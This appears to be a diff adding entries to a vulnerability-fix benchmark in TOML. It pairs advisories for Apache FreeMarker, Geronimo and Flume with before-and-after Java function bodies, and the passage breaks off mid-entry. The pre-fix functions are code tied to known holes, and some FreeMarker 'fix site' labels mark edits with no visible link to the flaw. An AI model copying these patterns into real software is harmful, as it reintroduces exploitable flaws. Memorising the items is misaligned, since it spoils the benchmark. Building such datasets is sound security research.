+pre_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n nullSafeEquals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "setConfiguration"
+function_lines = [[62, 78]]
+id = "apache-freemarker-f5ba78c9c91de7a1"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactory.java"
+post_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n\n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */"
+pre_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n return;\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n \n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "setUseCaches"
+function_lines = [[138, 145]]
+id = "apache-freemarker-f78f7186c5610790"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java"
+post_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = useCaches;\n }\n }\n \n}"
+pre_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = Boolean.valueOf(useCaches);\n }\n }\n \n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "AliasTemplateNumberFormatFactory"
+function_lines = [[41, 64]]
+id = "apache-freemarker-fabd1840fb3c1eed"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateNumberFormatFactory.java"
+post_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override"
+pre_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-v64w-96p6-fx7w"
+advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object."
+commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5"
+cwe = "CWE-94"
+family = "injection"
+function = "doStart"
+function_lines = [[188, 217]]
+id = "apache-geronimo-0779e8a19c60e8ad"
+language = "java"
+method = "fix_site"
+parent = "67b5e07bf00e01e690e825ee5674666e85e7e204"
+path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXConnector.java"
+post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n"
+pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(classLoader);\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n"
+repo = "apache/geronimo"
+url = "https://github.com/apache/geronimo.git"
+
+[[case]]
+advisory = "GHSA-v64w-96p6-fx7w"
+advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object."
+commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5"
+cwe = "CWE-94"
+family = "injection"
+function = "doStart"
+function_lines = [[135, 168]]
+id = "apache-geronimo-469d656c92e703bc"
+language = "java"
+method = "fix_site"
+parent = "67b5e07bf00e01e690e825ee5674666e85e7e204"
+path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXSecureConnector.java"
+post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n "
+pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n server.start();\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n "
+repo = "apache/geronimo"
+url = "https://github.com/apache/geronimo.git"
+
+[[case]]
+advisory = "GHSA-9w4g-fp9h-3q2v"
+advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0."
+commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97"
+cwe = "CWE-502"
+family = "deserialization"
+function = "doProcess"
+function_lines = [[299, 355]]
+id = "apache-logging-flume-2f03541bca7f3237"
+language = "java"
+method = "fix_site"
+parent = "34f372222248e2a1014c502b888e37f4c3d0f356"
+path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java"
+post_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold && consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if (throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override"
+pre_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold) {\n if (consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if (throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override"
+repo = "apache/logging-flume"
+url = "https://github.com/apache/logging-flume.git"
+
+[[case]]
+advisory = "GHSA-9w4g-fp9h-3q2v"
+advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0."
+commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97"
+cwe = "CWE-502"
+family = "deserialization"
+function = "doConfigure"
+function_lines = [[96, 289]]
+id = "apache-logging-flume-3a9f6e6ef1ab1349"
+language = "java"
+method = "fix_site"
+parent = "34f372222248e2a1014c502b888e37f4c3d0f356"
+path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java"
+post_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n verifyContext(providerUrl);\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = (JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n verifyContext(connectionFactoryName);\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n"
+pre_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n try {\n URI uri = new URI(providerUrl);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + providerUrl);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", providerUrl);\n }\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = 